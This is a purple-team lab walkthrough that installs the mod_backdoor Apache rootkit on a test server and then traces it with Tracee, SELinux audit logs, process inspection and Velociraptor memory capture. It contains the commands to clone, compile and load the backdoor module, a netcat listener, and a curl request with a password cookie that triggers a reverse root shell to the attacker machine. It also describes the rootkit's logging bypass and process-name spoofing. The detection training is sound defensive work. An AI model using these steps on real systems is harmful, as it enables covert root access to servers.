[US] Rootkits: HTTPD mod_backdoor
mod_backdoor is a stealth backdoor using an Apache2 module.
The main idea is to fork() the primary Apache2 process just after it has loaded its config. Since it's forked before the root user transfers the process to www-data, you can execute the command as root. That's the reason why after loading mod_backdoor we see two processes running with uid=0. Normally it's only one parent running with uid=0.
Features include:
Bind TTY Shell
Reverse Shell (TTY, Native, PHP, Perl, Python, Ruby)
High stability and reliability, each shell spawns a new forked independent root process attached to PID 1 and removed from apache2 cgroup
Socks5 proxy
Password Protection through cookie headers
Ping module to know if its still active
Bypass logging mechanism. Each request to the backdoor module is not logged by Apache2.
Works on systemd systems, but should also work with init-like systems (with some adjustments, explained in the Description section).
LAB scenario
1. Log in to DEV_X and install Apache HTTPD server:
# yum install httpd
# yum install httpd-devel
# systemctl start httpd
2. Log into FUBU_X and test if your httpd works as expected:
# curl -v http://DEV_X
3. Before next step, run small baseline profiling of running httpd processes:
cat /proc/`pgrep httpd | head -n 1`/maps | wc -l
503
# cat /proc/`pgrep httpd`/maps
4. Remember this 503. Get back to DEV_X and then clone the mod_backdoor project. We are going to set it up right now:
# git clone https://github.com/VladRico/apache2_BackdoorMod.git
# cd apache2_BackdoorMod
5. On line 126 of mod_backdoor.c you can find PASSWORD definition. Modify it to your own value or leave it as it is. It's up to you.
6. Compile and install the module:
# apxs -i -a -c mod_backdoor.c sblist.c sblist_delete.c server.c -Wl, -lutil
7. As you can see, the module has been compiled and deployed to the filesystem. We are all set for the next offensive part - the usage of Apache rootkit, except to one important actions: apache restart:
# systemctl restart httpd
8. Compare the number of loaded Apache modules with the results from previous profiling:
# cat /proc/`pgrep httpd | head -n 1`/maps | wc -l
511
9. The difference is here:
# cat /proc/`pgrep httpd | head -n 1`/maps | grep -i backdoor
7f65c4765000-7f65c476c000 r-xp 00000000 fd:00 68036955 /usr/lib64/httpd/modules/mod_backdoor.so
7f65c476c000-7f65c496b000 ---p 00007000 fd:00 68036955 /usr/lib64/httpd/modules/mod_backdoor.so
7f65c496b000-7f65c496c000 r--p 00006000 fd:00 68036955 /usr/lib64/httpd/modules/mod_backdoor.so
7f65c496c000-7f65c496d000 rw-p 00007000 fd:00 68036955 /usr/lib64/httpd/modules/mod_backdoor.so
10. Now the fun part starts. Open the 2nd console on DEV_X and run tracee. We are going to trace httpd processes and follow childs. Some interesting process telemetry is coming ^^
# docker run --name tracee --rm -it --pid=host --cgroupns=host \
--privileged -v /boot/config-`uname -r`:/boot/config-`uname -r` \
-v /etc/os-release:/etc/os-release-host:ro \
-e LIBBPFGO_OSRELEASE_FILE=/etc/os-release-host aquasec/tracee:0.9.3 trace \
--trace comm=httpd --trace follow
11. Switch to KALI_X and set up a listener:
# nc -vnlp 6667
12. Back to FUBU_X. Now let's send an HTTP request to the rootkit's endpoint that will initiate a reverse connection to KALI_X. We have to include Cookie header with values from mod_backdoor.c
# curl -v -H "Cookie: password=backdoor" http://DEV_X_IP/reverse/KALI_X_IP/6667/bash
13. You should find a fresh shell on your KALI_X:
14. Great, now focus only on tracee output.
15. It's amazing how much interesting DFIR information we can get from this tool. For example, on the above output, we can read that bash is running as a child process of httpd, then it runs id. All that visibility on the syscall level is filtered per process.
16. Analyze the running processes, the pstree structure, the child processes. Can you spot anything interesting?
# netstat -antp | grep 6667
17. That's interesting! Our reverse shell uses a process name spoofing technique:
# ps uax | grep -i kintegrityd
18. In fact, it's bash.
# cat /proc/85189/comm
bash
19. Open file descriptors show network activity:
# ls -al /proc/85189/fd/
20. Of course, index=zeek and index=suricata are your best friends to get more network details.
21. DEV_X is CentOS 8, so SELinux is enabled. Even if we run in permissive mode, still the audit logs can give you a very valuable starting point of investigation. Here we can see that setroubleshoot found that httpd process was trying to connect to port 6667/TCP. This port does not have the correct SELinux http_port_t type assigned, so the default SELinux policy drop and log had an effect. We are in the permissive mode now, so no action, the only logging policy is in use.
# sestatus
SELinux status: enabled
SELinuxfs mount: /sys/fs/selinux
SELinux root directory: /etc/selinux
Loaded policy name: targeted
Current mode: permissive
Mode from config file: permissive
Policy MLS status: enabled
Policy deny_unknown status: allowed
Memory protection checking: actual (secure)
Max kernel policy version: 33
# grep 6667 /var/log/messages
22. Setroubleshoot is only the consumer of the real source of auditd logs which is /var/log/audit/audit.log. Analyze it and find evidence about network connections made by httpd:
# grep 'httpd' /var/log/audit/audit.log
23. You have it! name_connect on port 6667 for command httpd has been made to port with a type of ircd_port_t. Suspicious? Naturally! Also, the mounton denied event sounds like a good path for knowing even more. I believe it's pretty much connected to this comment from the project:
Each shell spawns attached to PID 1 and is removed from apache2 cgroup. It means it's possible to restart/stop apache2.service from a spawned shell (not true for TTY shells because an apache2 process is needed to do the bidirectional communication between socket and pty). It also improves stealth, shells are no longer related to apache2.service.
24. In the meantime don't forget to run the Sandfly scan.
25. At the end of this lab, let's try to dump the memory of 2nd Apache process that is running with uid=0 by using Velociraptor. In Velociraptor, use Linux.Triage.ProcessMemory as it is the artifact that will allow us to run this job remotely without any external dependencies or actions. Run this job for your pid:
# ps uax | grep 'kintegrityd/2'
root 85189 0.0 1.5 25108 12736 ? Ss 18:20 0:00 [kintegrityd/2]
# ps uax | grep httpd | grep root
root 80824 0.0 0.5 282172 4312 ? Ss 17:24 0:01 /usr/sbin/httpd -DFOREGROUND
root 85188 0.0 0.0 281540 24 ? S 18:20 0:00 /usr/sbin/httpd -DFOREGROUND
26. Check the Uploaded Files tab. You can find direct URLs to the memory dump of the targeted process. The size of the files is not small, so I highly recommend you to download it within the PurpleLabs network, for example, you could use KALI_X Remote Desktop and Firefox or use scp. Vagrant is your friend:>
Comment:
Tracee is a great tool recommended for proactive DFIR scans against your critical services, OS components, or just for Linux baseline profiling. Tracee supports many outputs including JSON or Slack. I don't have this stack ready yet, but it would be really great to have a dedicated index=tracee in Splunk or event.type=tracee in HELK where all this kind of syscall telemetry would be stored, so DFIR searching against it will not be as hard as it's today.
However, understanding the idea behind profiling is even more important here.
Links: